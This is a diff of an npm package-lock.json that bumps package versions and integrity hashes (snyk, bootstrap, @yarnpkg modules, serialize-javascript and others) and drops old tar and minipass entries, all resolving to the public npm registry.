|
@ -2219,27 +2211,13 @@
|
||||||
"integrity": "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q=="
|
"integrity": "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q=="
|
||||||
},
|
},
|
||||||
"supports-color": {
|
"supports-color": {
|
||||||
"version": "7.1.0",
|
"version": "7.2.0",
|
||||||
"resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.1.0.tgz",
|
"resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
|
||||||
"integrity": "sha512-oRSIpR8pxT1Wr2FquTNnGet79b3BWljqOuoW/h4oBhxJ/HUbX5nX6JSruTkvXDCFMwDPvsaTTbvMLKZWSy0R5g==",
|
"integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
|
||||||
"requires": {
|
"requires": {
|
||||||
"has-flag": "^4.0.0"
|
"has-flag": "^4.0.0"
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
"tar": {
|
|
||||||
"version": "4.4.13",
|
|
||||||
"resolved": "https://registry.npmjs.org/tar/-/tar-4.4.13.tgz",
|
|
||||||
"integrity": "sha512-w2VwSrBoHa5BsSyH+KxEqeQBAllHhccyMFVHtGtdMpF4W7IRWfZjFiQceJPChOeTsSDVUpER2T8FA93pr0L+QA==",
|
|
||||||
"requires": {
|
|
||||||
"chownr": "^1.1.1",
|
|
||||||
"fs-minipass": "^1.2.5",
|
|
||||||
"minipass": "^2.8.6",
|
|
||||||
"minizlib": "^1.2.1",
|
|
||||||
"mkdirp": "^0.5.0",
|
|
||||||
"safe-buffer": "^5.1.2",
|
|
||||||
"yallist": "^3.0.3"
|
|
||||||
}
|
|
||||||
},
|
|
||||||
"to-regex-range": {
|
"to-regex-range": {
|
||||||
"version": "5.0.1",
|
"version": "5.0.1",
|
||||||
"resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz",
|
"resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz",
|
||||||
|
@ -2260,20 +2238,15 @@
|
||||||
"requires": {
|
"requires": {
|
||||||
"isexe": "^2.0.0"
|
"isexe": "^2.0.0"
|
||||||
}
|
}
|
||||||
},
|
|
||||||
"yallist": {
|
|
||||||
"version": "3.1.1",
|
|
||||||
"resolved": "https://registry.npmjs.org/yallist/-/yallist-3.1.1.tgz",
|
|
||||||
"integrity": "sha512-a4UGQaWPH59mOXUYnAG2ewncQS4i4F43Tv3JoAM+s2VDAmS9NsK8GpDMLrCHPksFT7h3K6TOoUNn2pb7RoXx4g=="
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
"@yarnpkg/fslib": {
|
"@yarnpkg/fslib": {
|
||||||
"version": "2.1.0",
|
"version": "2.2.1",
|
||||||
"resolved": "https://registry.npmjs.org/@yarnpkg/fslib/-/fslib-2.1.0.tgz",
|
"resolved": "https://registry.npmjs.org/@yarnpkg/fslib/-/fslib-2.2.1.tgz",
|
||||||
"integrity": "sha512-E+f8w5yQZnTf1soyTWy7qdf+GmHsY+A0yEN4Di44/Txk6XRIMruyc1ShDi93mOI6ilnXxD87rNms18zJ8WnspA==",
|
"integrity": "sha512-7SzLP/RHt8lEOaCTg6hMMrnxc2/Osbu3+UPwLZiZiGtLpYqwtTgtWTlAqddS3+MESXOZhc+3gKLX0lfqm6oWuw==",
|
||||||
"requires": {
|
"requires": {
|
||||||
"@yarnpkg/libzip": "^2.1.0",
|
"@yarnpkg/libzip": "^2.2.0",
|
||||||
"tslib": "^1.13.0"
|
"tslib": "^1.13.0"
|
||||||
},
|
},
|
||||||
"dependencies": {
|
"dependencies": {
|
||||||
|
@ -2301,9 +2274,9 @@
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
"@yarnpkg/libzip": {
|
"@yarnpkg/libzip": {
|
||||||
"version": "2.1.0",
|
"version": "2.2.0",
|
||||||
"resolved": "https://registry.npmjs.org/@yarnpkg/libzip/-/libzip-2.1.0.tgz",
|
"resolved": "https://registry.npmjs.org/@yarnpkg/libzip/-/libzip-2.2.0.tgz",
|
||||||
"integrity": "sha512-39c7KuSWcYUqVxlBLZwfqdD/D6lS+jplNVWd6uAnk8EpnacaYGJRegvkqWyfw5c8KHukNMeEGF5JHrXPZYBM0w==",
|
"integrity": "sha512-/YRSPJbPAvHeCJxcXJrUV4eRP9hER6YB6LyZxsFlpyF++eqdOzNu0WsuXRRJxfqYt3hl7SiGFkL23qB9jqC6cw==",
|
||||||
"requires": {
|
"requires": {
|
||||||
"@types/emscripten": "^1.38.0",
|
"@types/emscripten": "^1.38.0",
|
||||||
"tslib": "^1.13.0"
|
"tslib": "^1.13.0"
|
||||||
|
@ -2322,9 +2295,9 @@
|
||||||
"integrity": "sha512-GpSwvyXOcOOlV70vbnzjj4fW5xW/FdUF6nQEt1ENy7m4ZCczi1+/buVUPAqmGfqznsORNFzUMjctTIp8a9tuCQ=="
|
"integrity": "sha512-GpSwvyXOcOOlV70vbnzjj4fW5xW/FdUF6nQEt1ENy7m4ZCczi1+/buVUPAqmGfqznsORNFzUMjctTIp8a9tuCQ=="
|
||||||
},
|
},
|
||||||
"@yarnpkg/parsers": {
|
"@yarnpkg/parsers": {
|
||||||
"version": "2.1.0",
|
"version": "2.2.0",
|
||||||
"resolved": "https://registry.npmjs.org/@yarnpkg/parsers/-/parsers-2.1.0.tgz",
|
"resolved": "https://registry.npmjs.org/@yarnpkg/parsers/-/parsers-2.2.0.tgz",
|
||||||
"integrity": "sha512-75OYQ6PMs1C3zm+W+T1xhLyVDX78zXQGEVHpWd4o/QwpAbhneB3/5FXVGRzI3gjPPWWSb/pKOPB1S6p0xmQD2Q==",
|
"integrity": "sha512-k1XZaWYRHl7wCj04hcbtzKfPAZbKbsEi7xsB1Ka8obdS6DRnAw7n0gZPvvGjOoqkH95IqWf+Vi7vV5RhlGz63Q==",
|
||||||
"requires": {
|
"requires": {
|
||||||
"js-yaml": "^3.10.0",
|
"js-yaml": "^3.10.0",
|
||||||
"tslib": "^1.13.0"
|
"tslib": "^1.13.0"
|
||||||
|
@ -2338,12 +2311,12 @@
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
"@yarnpkg/pnp": {
|
"@yarnpkg/pnp": {
|
||||||
"version": "2.1.0",
|
"version": "2.2.1",
|
||||||
"resolved": "https://registry.npmjs.org/@yarnpkg/pnp/-/pnp-2.1.0.tgz",
|
"resolved": "https://registry.npmjs.org/@yarnpkg/pnp/-/pnp-2.2.1.tgz",
|
||||||
"integrity": "sha512-b8NlB71EFifv1jDX47nFaRXrykROxHcS7YuGb2dQ+Gp9gqJ0thIaZ3yB9+qWF8acdWtNcMpjCug4xkfAAR5Odw==",
|
"integrity": "sha512-jrwJ3Q6M+nMs4n0O/GgxayU1Bq9mpLoZW2Mb8Nt2fs5whB0CeCr1/pGl9+yiCSjirv9jjp51TVFqF7OPvXy+gA==",
|
||||||
"requires": {
|
"requires": {
|
||||||
"@types/node": "^13.7.0",
|
"@types/node": "^13.7.0",
|
||||||
"@yarnpkg/fslib": "^2.1.0",
|
"@yarnpkg/fslib": "^2.2.1",
|
||||||
"tslib": "^1.13.0"
|
"tslib": "^1.13.0"
|
||||||
},
|
},
|
||||||
"dependencies": {
|
"dependencies": {
|
||||||
|
@ -2355,13 +2328,13 @@
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
"@yarnpkg/shell": {
|
"@yarnpkg/shell": {
|
||||||
"version": "2.1.0",
|
"version": "2.2.0",
|
||||||
"resolved": "https://registry.npmjs.org/@yarnpkg/shell/-/shell-2.1.0.tgz",
|
"resolved": "https://registry.npmjs.org/@yarnpkg/shell/-/shell-2.2.0.tgz",
|
||||||
"integrity": "sha512-9i9ZWqeKHGV0DOfdxTVq5zl73Li8Fg947v57uLBEaytNF+HywkDfouNkg/6HfgBrpI0WH8OJ9Pz/uDaE5cpctw==",
|
"integrity": "sha512-IuOZhYxTydNySqP2HlKkfm1QjgCAgVBUZz5O5rXXxpS4vTNSa0q6fwqvNUSrHSWGKH/jAmJS23YbJqislj5wjg==",
|
||||||
"requires": {
|
"requires": {
|
||||||
"@yarnpkg/fslib": "^2.1.0",
|
"@yarnpkg/fslib": "^2.2.0",
|
||||||
"@yarnpkg/parsers": "^2.1.0",
|
"@yarnpkg/parsers": "^2.2.0",
|
||||||
"clipanion": "^2.4.2",
|
"clipanion": "^2.4.4",
|
||||||
"cross-spawn": "7.0.3",
|
"cross-spawn": "7.0.3",
|
||||||
"fast-glob": "^3.2.2",
|
"fast-glob": "^3.2.2",
|
||||||
"stream-buffers": "^3.0.2",
|
"stream-buffers": "^3.0.2",
|
||||||
|
@ -3044,9 +3017,9 @@
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
"bl": {
|
"bl": {
|
||||||
"version": "4.0.2",
|
"version": "4.0.3",
|
||||||
"resolved": "https://registry.npmjs.org/bl/-/bl-4.0.2.tgz",
|
"resolved": "https://registry.npmjs.org/bl/-/bl-4.0.3.tgz",
|
||||||
"integrity": "sha512-j4OH8f6Qg2bGuWfRiltT2HYGx0e1QcBTrK9KAHNMwMZdQnDZFk0ZSYIpADjYCB3U12nicC5tVJwSIhwOWjb4RQ==",
|
"integrity": "sha512-fs4G6/Hu4/EE+F75J8DuN/0IpQqNjAdC7aEQv7Qt8MHGUH7Ckv2MwTEEeN9QehD0pfIDkMI1bkHYkKy7xHyKIg==",
|
||||||
"requires": {
|
"requires": {
|
||||||
"buffer": "^5.5.0",
|
"buffer": "^5.5.0",
|
||||||
"inherits": "^2.0.4",
|
"inherits": "^2.0.4",
|
||||||
|
@ -3139,9 +3112,9 @@
|
||||||
"dev": true
|
"dev": true
|
||||||
},
|
},
|
||||||
"bootstrap": {
|
"bootstrap": {
|
||||||
"version": "4.5.0",
|
"version": "4.5.1",
|
||||||
"resolved": "https://registry.npmjs.org/bootstrap/-/bootstrap-4.5.0.tgz",
|
"resolved": "https://registry.npmjs.org/bootstrap/-/bootstrap-4.5.1.tgz",
|
||||||
"integrity": "sha512-Z93QoXvodoVslA+PWNdk23Hze4RBYIkpb5h8I2HY2Tu2h7A0LpAgLcyrhrSUyo2/Oxm2l1fRZPs1e5hnxnliXA=="
|
"integrity": "sha512-bxUooHBSbvefnIZfjD0LE8nfdPKrtiFy2sgrxQwUZ0UpFzpjVbVMUxaGIoo9XWT4B2LG1HX6UQg0UMOakT0prQ=="
|
||||||
},
|
},
|
||||||
"boxen": {
|
"boxen": {
|
||||||
"version": "4.2.0",
|
"version": "4.2.0",
|
||||||
|
@ -3233,9 +3206,9 @@
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
"supports-color": {
|
"supports-color": {
|
||||||
"version": "7.1.0",
|
"version": "7.2.0",
|
||||||
"resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.1.0.tgz",
|
"resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
|
||||||
"integrity": "sha512-oRSIpR8pxT1Wr2FquTNnGet79b3BWljqOuoW/h4oBhxJ/HUbX5nX6JSruTkvXDCFMwDPvsaTTbvMLKZWSy0R5g==",
|
"integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
|
||||||
"requires": {
|
"requires": {
|
||||||
"has-flag": "^4.0.0"
|
"has-flag": "^4.0.0"
|
||||||
}
|
}
|
||||||
|
@ -3630,7 +3603,8 @@
|
||||||
"chownr": {
|
"chownr": {
|
||||||
"version": "1.1.4",
|
"version": "1.1.4",
|
||||||
"resolved": "https://registry.npmjs.org/chownr/-/chownr-1.1.4.tgz",
|
"resolved": "https://registry.npmjs.org/chownr/-/chownr-1.1.4.tgz",
|
||||||
"integrity": "sha512-jJ0bqzaylmJtVnNgzTeSOs8DPavpbYgEr/b0YL8/2GO3xJEhInFmhKMUnEJQjZumK7KXGFhUy89PrsJWlakBVg=="
|
"integrity": "sha512-jJ0bqzaylmJtVnNgzTeSOs8DPavpbYgEr/b0YL8/2GO3xJEhInFmhKMUnEJQjZumK7KXGFhUy89PrsJWlakBVg==",
|
||||||
|
"dev": true
|
||||||
},
|
},
|
||||||
"chrome-trace-event": {
|
"chrome-trace-event": {
|
||||||
"version": "1.0.2",
|
"version": "1.0.2",
|
||||||
|
@ -3702,9 +3676,9 @@
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
"cli-boxes": {
|
"cli-boxes": {
|
||||||
"version": "2.2.0",
|
"version": "2.2.1",
|
||||||
"resolved": "https://registry.npmjs.org/cli-boxes/-/cli-boxes-2.2.0.tgz",
|
"resolved": "https://registry.npmjs.org/cli-boxes/-/cli-boxes-2.2.1.tgz",
|
||||||
"integrity": "sha512-gpaBrMAizVEANOpfZp/EEUixTXDyGt7DFzdK5hU+UbWt/J0lB0w20ncZj59Z9a93xHb9u12zF5BS6i9RKbtg4w=="
|
"integrity": "sha512-y4coMcylgSCdVinjiDBuR8PCC2bLjyGTwEmPb9NHR/QaNU6EUOXcTY/s6VjGMD6ENSEaeQYHCY0GNGS5jfMwPw=="
|
||||||
},
|
},
|
||||||
"cli-cursor": {
|
"cli-cursor": {
|
||||||
"version": "3.1.0",
|
"version": "3.1.0",
|
||||||
|
@ -3726,9 +3700,9 @@
|
||||||
"integrity": "sha512-GRMWDxpOB6Dgk2E5Uo+3eEBvtOOlimMmpbFiKuLFnQzYDavtLFY3K5ona41jgN/WdRZtG7utuVSVTL4HbZHGkw=="
|
"integrity": "sha512-GRMWDxpOB6Dgk2E5Uo+3eEBvtOOlimMmpbFiKuLFnQzYDavtLFY3K5ona41jgN/WdRZtG7utuVSVTL4HbZHGkw=="
|
||||||
},
|
},
|
||||||
"clipanion": {
|
"clipanion": {
|
||||||
"version": "2.4.4",
|
"version": "2.5.0",
|
||||||
"resolved": "https://registry.npmjs.org/clipanion/-/clipanion-2.4.4.tgz",
|
"resolved": "https://registry.npmjs.org/clipanion/-/clipanion-2.5.0.tgz",
|
||||||
"integrity": "sha512-KjyCBz8xplftHjIK/nOqq/9b3hPlXbAAo/AxoITrO4yySpQ6a9QSJDAfOx9PfcRUHteeqbdNxZKSPfeFqQ7plg=="
|
"integrity": "sha512-VYOMl0h/mZXQC2BWq7oBto1zY1SkPWUaJjt+cuIred1HrmrcX1I2N+LNyNoRy8Iwu9r6vUxJwS/tWLwhQW4tPw=="
|
||||||
},
|
},
|
||||||
"cliui": {
|
"cliui": {
|
||||||
"version": "5.0.0",
|
"version": "5.0.0",
|
||||||
|
@ -5568,9 +5542,9 @@
|
||||||
"dev": true
|
"dev": true
|
||||||
},
|
},
|
||||||
"event-loop-spinner": {
|
"event-loop-spinner": {
|
||||||
"version": "1.1.0",
|
"version": "2.0.0",
|
||||||
"resolved": "https://registry.npmjs.org/event-loop-spinner/-/event-loop-spinner-1.1.0.tgz",
|
"resolved": "https://registry.npmjs.org/event-loop-spinner/-/event-loop-spinner-2.0.0.tgz",
|
||||||
"integrity": "sha512-YVFs6dPpZIgH665kKckDktEVvSBccSYJmoZUfhNUdv5d3Xv+Q+SKF4Xis1jolq9aBzuW1ZZhQh/m/zU/TPdDhw==",
|
"integrity": "sha512-1y4j/Mhttr8ordvHkbDsGzGrlQaSYJoXD/3YKUxiOXIk7myEn9UPfybEk/lLtrcU3D4QvCNmVUxVQaPtvAIaUw==",
|
||||||
"requires": {
|
"requires": {
|
||||||
"tslib": "^1.10.0"
|
"tslib": "^1.10.0"
|
||||||
}
|
}
|
||||||
|
@ -6038,9 +6012,9 @@
|
||||||
"integrity": "sha512-0Zt+s3L7Vf1biwWZ29aARiVYLx7iMGnEUl9x33fbB/j3jR81u/O2LbqK+Bm1CDSNDKVtJ/YjwY7TUd5SkeLQLw=="
|
"integrity": "sha512-0Zt+s3L7Vf1biwWZ29aARiVYLx7iMGnEUl9x33fbB/j3jR81u/O2LbqK+Bm1CDSNDKVtJ/YjwY7TUd5SkeLQLw=="
|
||||||
},
|
},
|
||||||
"filepond": {
|
"filepond": {
|
||||||
"version": "4.18.0",
|
"version": "4.19.2",
|
||||||
"resolved": "https://registry.npmjs.org/filepond/-/filepond-4.18.0.tgz",
|
"resolved": "https://registry.npmjs.org/filepond/-/filepond-4.19.2.tgz",
|
||||||
"integrity": "sha512-lIRv27uYU0DQjUNa0G+aGsdmkhxdEzk9k2gbOsWLQdO+4u6FGNPjA1lUfy5vkF4ifx2GEeO1X+xP6Kqyb6tWaw=="
|
"integrity": "sha512-2NgemeQGIx9TfjaRwn6LpjJFXILzGXl0FD+Er7veI/25Nn+4qu0mA8rk22S3vpJPajMRn+dD1EUTEOMgUolJ7w=="
|
||||||
},
|
},
|
||||||
"fill-range": {
|
"fill-range": {
|
||||||
"version": "4.0.0",
|
"version": "4.0.0",
|
||||||
|
@ -6237,14 +6211,6 @@
|
||||||
"universalify": "^0.1.0"
|
"universalify": "^0.1.0"
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
"fs-minipass": {
|
|
||||||
"version": "1.2.7",
|
|
||||||
"resolved": "https://registry.npmjs.org/fs-minipass/-/fs-minipass-1.2.7.tgz",
|
|
||||||
"integrity": "sha512-GWSSJGFy4e9GUeCcbIkED+bgAoFyj7XF1mV8rma3QW4NIqX9Kyx79N/PF61H5udOV3aY1IaMLs6pGbH71nlCTA==",
|
|
||||||
"requires": {
|
|
||||||
"minipass": "^2.6.0"
|
|
||||||
}
|
|
||||||
},
|
|
||||||
"fs-readdir-recursive": {
|
"fs-readdir-recursive": {
|
||||||
"version": "1.1.0",
|
"version": "1.1.0",
|
||||||
"resolved": "https://registry.npmjs.org/fs-readdir-recursive/-/fs-readdir-recursive-1.1.0.tgz",
|
"resolved": "https://registry.npmjs.org/fs-readdir-recursive/-/fs-readdir-recursive-1.1.0.tgz",
|
||||||
|
@ -8528,30 +8494,6 @@
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
"minipass": {
|
|
||||||
"version": "2.9.0",
|
|
||||||
"resolved": "https://registry.npmjs.org/minipass/-/minipass-2.9.0.tgz",
|
|
||||||
"integrity": "sha512-wxfUjg9WebH+CUDX/CdbRlh5SmfZiy/hpkxaRI16Y9W56Pa75sWgd/rvFilSgrauD9NyFymP/+JFV3KwzIsJeg==",
|
|
||||||
"requires": {
|
|
||||||
"safe-buffer": "^5.1.2",
|
|
||||||
"yallist": "^3.0.0"
|
|
||||||
},
|
|
||||||
"dependencies": {
|
|
||||||
"yallist": {
|
|
||||||
"version": "3.1.1",
|
|
||||||
"resolved": "https://registry.npmjs.org/yallist/-/yallist-3.1.1.tgz",
|
|
||||||
"integrity": "sha512-a4UGQaWPH59mOXUYnAG2ewncQS4i4F43Tv3JoAM+s2VDAmS9NsK8GpDMLrCHPksFT7h3K6TOoUNn2pb7RoXx4g=="
|
|
||||||
}
|
|
||||||
}
|
|
||||||
},
|
|
||||||
"minizlib": {
|
|
||||||
"version": "1.3.3",
|
|
||||||
"resolved": "https://registry.npmjs.org/minizlib/-/minizlib-1.3.3.tgz",
|
|
||||||
"integrity": "sha512-6ZYMOEnmVsdCeTJVE0W9ZD+pVnE8h9Hma/iOwwRDsdQoePpoX56/8B6z3P9VNwppJuBKNRuFDRNRqRWexT9G9Q==",
|
|
||||||
"requires": {
|
|
||||||
"minipass": "^2.9.0"
|
|
||||||
}
|
|
||||||
},
|
|
||||||
"mississippi": {
|
"mississippi": {
|
||||||
"version": "3.0.0",
|
"version": "3.0.0",
|
||||||
"resolved": "https://registry.npmjs.org/mississippi/-/mississippi-3.0.0.tgz",
|
"resolved": "https://registry.npmjs.org/mississippi/-/mississippi-3.0.0.tgz",
|
||||||
|
@ -12372,9 +12314,9 @@
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
"open": {
|
"open": {
|
||||||
"version": "7.1.0",
|
"version": "7.2.1",
|
||||||
"resolved": "https://registry.npmjs.org/open/-/open-7.1.0.tgz",
|
"resolved": "https://registry.npmjs.org/open/-/open-7.2.1.tgz",
|
||||||
"integrity": "sha512-lLPI5KgOwEYCDKXf4np7y1PBEkj7HYIyP2DY8mVDRnx0VIIu6bNrRB0R66TuO7Mack6EnTNLm4uvcl1UoklTpA==",
|
"integrity": "sha512-xbYCJib4spUdmcs0g/2mK1nKo/jO2T7INClWd/beL7PFkXRWgr8B23ssDHX/USPn2M2IjDR5UdpYs6I67SnTSA==",
|
||||||
"requires": {
|
"requires": {
|
||||||
"is-docker": "^2.0.0",
|
"is-docker": "^2.0.0",
|
||||||
"is-wsl": "^2.1.1"
|
"is-wsl": "^2.1.1"
|
||||||
|
@ -13213,9 +13155,9 @@
|
||||||
"integrity": "sha1-6SQ0v6XqjBn0HN/UAddBo8gZ2Jc="
|
"integrity": "sha1-6SQ0v6XqjBn0HN/UAddBo8gZ2Jc="
|
||||||
},
|
},
|
||||||
"pretty-bytes": {
|
"pretty-bytes": {
|
||||||
"version": "5.3.0",
|
"version": "5.4.1",
|
||||||
"resolved": "https://registry.npmjs.org/pretty-bytes/-/pretty-bytes-5.3.0.tgz",
|
"resolved": "https://registry.npmjs.org/pretty-bytes/-/pretty-bytes-5.4.1.tgz",
|
||||||
"integrity": "sha512-hjGrh+P926p4R4WbaB6OckyRtO0F0/lQBiT+0gnxjV+5kjPBrfVBFCsCLbMqVQeydvIoouYTCmmEURiH3R1Bdg=="
|
"integrity": "sha512-s1Iam6Gwz3JI5Hweaz4GoCD1WUNUIyzePFy5+Js2hjwGVt2Z79wNN+ZKOZ2vB6C+Xs6njyB84Z1IthQg8d9LxA=="
|
||||||
},
|
},
|
||||||
"pretty-error": {
|
"pretty-error": {
|
||||||
"version": "2.1.1",
|
"version": "2.1.1",
|
||||||
|
@ -13712,11 +13654,10 @@
|
||||||
"integrity": "sha512-24e6ynE2H+OKt4kqsOvNd8kBpV65zoxbA4BVsEOB3ARVWQki/DHzaUoC5KuON/BiccDaCCTZBuOcfZs70kR8bQ=="
|
"integrity": "sha512-24e6ynE2H+OKt4kqsOvNd8kBpV65zoxbA4BVsEOB3ARVWQki/DHzaUoC5KuON/BiccDaCCTZBuOcfZs70kR8bQ=="
|
||||||
},
|
},
|
||||||
"react-json-tree": {
|
"react-json-tree": {
|
||||||
"version": "0.11.2",
|
"version": "0.12.0",
|
||||||
"resolved": "https://registry.npmjs.org/react-json-tree/-/react-json-tree-0.11.2.tgz",
|
"resolved": "https://registry.npmjs.org/react-json-tree/-/react-json-tree-0.12.0.tgz",
|
||||||
"integrity": "sha512-aYhUPj1y5jR3ZQ+G3N7aL8FbTyO03iLwnVvvEikLcNFqNTyabdljo9xDftZndUBFyyyL0aK3qGO9+8EilILHUw==",
|
"integrity": "sha512-lp+NDCsU25JTueO1s784oZ5wEmh1c6kHk96szlX1e9bAlyNiHwCBXINpp0C5/D/LwQi9H/a6NjXGkSOS8zxMDg==",
|
||||||
"requires": {
|
"requires": {
|
||||||
"babel-runtime": "^6.6.1",
|
|
||||||
"prop-types": "^15.5.8",
|
"prop-types": "^15.5.8",
|
||||||
"react-base16-styling": "^0.5.1"
|
"react-base16-styling": "^0.5.1"
|
||||||
}
|
}
|
||||||
|
@ -14595,10 +14536,13 @@
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
"serialize-javascript": {
|
"serialize-javascript": {
|
||||||
"version": "2.1.2",
|
"version": "4.0.0",
|
||||||
"resolved": "https://registry.npmjs.org/serialize-javascript/-/serialize-javascript-2.1.2.tgz",
|
"resolved": "https://registry.npmjs.org/serialize-javascript/-/serialize-javascript-4.0.0.tgz",
|
||||||
"integrity": "sha512-rs9OggEUF0V4jUSecXazOYsLfu7OGK2qIn3c7IPBiffz32XniEp/TX9Xmc9LQfK2nQ2QKHvZ2oygKUGU0lG4jQ==",
|
"integrity": "sha512-GaNA54380uFefWghODBWEGisLZFj00nS5ACs6yHa9nLqlLpVLO8ChDGeKRjZnV4Nh4n0Qi7nhYZD/9fCPzEqkw==",
|
||||||
"dev": true
|
"dev": true,
|
||||||
|
"requires": {
|
||||||
|
"randombytes": "^2.1.0"
|
||||||
|
}
|
||||||
},
|
},
|
||||||
"serve-index": {
|
"serve-index": {
|
||||||
"version": "1.9.1",
|
"version": "1.9.1",
|
||||||
|
@ -14914,11 +14858,11 @@
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
"snyk": {
|
"snyk": {
|
||||||
"version": "1.363.0",
|
"version": "1.372.0",
|
||||||
"resolved": "https://registry.npmjs.org/snyk/-/snyk-1.363.0.tgz",
|
"resolved": "https://registry.npmjs.org/snyk/-/snyk-1.372.0.tgz",
|
||||||
"integrity": "sha512-hFmVOcMOEgAlEUcag65ZoFRvJufwB0Z8yUOKqyjWODiyeyW+eAxkUcIjVNuMjamxdXQHVJU78Tdq5Y7moI380g==",
|
"integrity": "sha512-5eX7cEmbPtpZ9w+vQIEIf9tlb3FOEN36cnSFpla4bTim2biGTx50lWPKYAclX3z1tlLt654rdJfpTt5tOqWxUQ==",
|
||||||
"requires": {
|
"requires": {
|
||||||
"@snyk/cli-interface": "2.8.0",
|
"@snyk/cli-interface": "2.8.1",
|
||||||
"@snyk/dep-graph": "1.18.3",
|
"@snyk/dep-graph": "1.18.3",
|
||||||
"@snyk/gemfile": "1.2.0",
|
"@snyk/gemfile": "1.2.0",
|
||||||
"@snyk/graphlib": "2.1.9-patch",
|
"@snyk/graphlib": "2.1.9-patch",
|
||||||
|
@ -14941,11 +14885,11 @@
|
||||||
"proxy-from-env": "^1.0.0",
|
"proxy-from-env": "^1.0.0",
|
||||||
"semver": "^6.0.0",
|
"semver": "^6.0.0",
|
||||||
"snyk-config": "3.1.0",
|
"snyk-config": "3.1.0",
|
||||||
"snyk-docker-plugin": "3.13.1",
|
"snyk-docker-plugin": "3.16.0",
|
||||||
"snyk-go-plugin": "1.16.0",
|
"snyk-go-plugin": "1.16.0",
|
||||||
"snyk-gradle-plugin": "3.5.1",
|
"snyk-gradle-plugin": "3.5.1",
|
||||||
"snyk-module": "3.1.0",
|
"snyk-module": "3.1.0",
|
||||||
"snyk-mvn-plugin": "2.17.1",
|
"snyk-mvn-plugin": "2.19.1",
|
||||||
"snyk-nodejs-lockfile-parser": "1.26.3",
|
"snyk-nodejs-lockfile-parser": "1.26.3",
|
||||||
"snyk-nuget-plugin": "1.18.1",
|
"snyk-nuget-plugin": "1.18.1",
|
||||||
"snyk-php-plugin": "1.9.0",
|
"snyk-php-plugin": "1.9.0",
|
||||||
|
@ -15028,22 +14972,24 @@
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
"snyk-docker-plugin": {
|
"snyk-docker-plugin": {
|
||||||
"version": "3.13.1",
|
"version": "3.16.0",
|
||||||
"resolved": "https://registry.npmjs.org/snyk-docker-plugin/-/snyk-docker-plugin-3.13.1.tgz",
|
"resolved": "https://registry.npmjs.org/snyk-docker-plugin/-/snyk-docker-plugin-3.16.0.tgz",
|
||||||
"integrity": "sha512-4GEZ8Rx+1K33i0SuMRO03T+n8jAosLae4iuo1TZu9ugkxdQzbBStzVFz2N6x1s0GI/psWQNOWSLKfzFJYMOctw==",
|
"integrity": "sha512-i11WxMhsZxcFKn123LeA+u77NN7uWqWgPfQ6dvkACJnvouWHZidkOAxBOmYU49x8VS7dEQSe2Ym0bgr6EHn4cQ==",
|
||||||
"requires": {
|
"requires": {
|
||||||
"@snyk/rpm-parser": "^2.0.0",
|
"@snyk/rpm-parser": "^2.0.0",
|
||||||
"@snyk/snyk-docker-pull": "^3.1.3",
|
"@snyk/snyk-docker-pull": "^3.2.0",
|
||||||
"debug": "^4.1.1",
|
"debug": "^4.1.1",
|
||||||
"docker-modem": "2.1.3",
|
"docker-modem": "2.1.3",
|
||||||
"dockerfile-ast": "0.0.19",
|
"dockerfile-ast": "0.0.19",
|
||||||
"event-loop-spinner": "^1.1.0",
|
"event-loop-spinner": "^2.0.0",
|
||||||
"gunzip-maybe": "^1.4.2",
|
"gunzip-maybe": "^1.4.2",
|
||||||
|
"mkdirp": "^1.0.4",
|
||||||
"semver": "^6.1.0",
|
"semver": "^6.1.0",
|
||||||
"snyk-nodejs-lockfile-parser": "1.22.0",
|
"snyk-nodejs-lockfile-parser": "1.22.0",
|
||||||
"tar-stream": "^2.1.0",
|
"tar-stream": "^2.1.0",
|
||||||
"tmp": "^0.2.1",
|
"tmp": "^0.2.1",
|
||||||
"tslib": "^1"
|
"tslib": "^1",
|
||||||
|
"uuid": "^8.2.0"
|
||||||
},
|
},
|
||||||
"dependencies": {
|
"dependencies": {
|
||||||
"debug": {
|
"debug": {
|
||||||
|
@ -15054,6 +15000,11 @@
|
||||||
"ms": "^2.1.1"
|
"ms": "^2.1.1"
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
|
"mkdirp": {
|
||||||
|
"version": "1.0.4",
|
||||||
|
"resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-1.0.4.tgz",
|
||||||
|
"integrity": "sha512-vVqVZQyf3WLx2Shd0qJ9xuvqgAyKPLAiqITEtqW0oIUjzo3PePDd6fW9iFz30ef7Ysp/oiWqbhszeGWW2T6Gzw=="
|
||||||
|
},
|
||||||
"ms": {
|
"ms": {
|
||||||
"version": "2.1.2",
|
"version": "2.1.2",
|
||||||
"resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz",
|
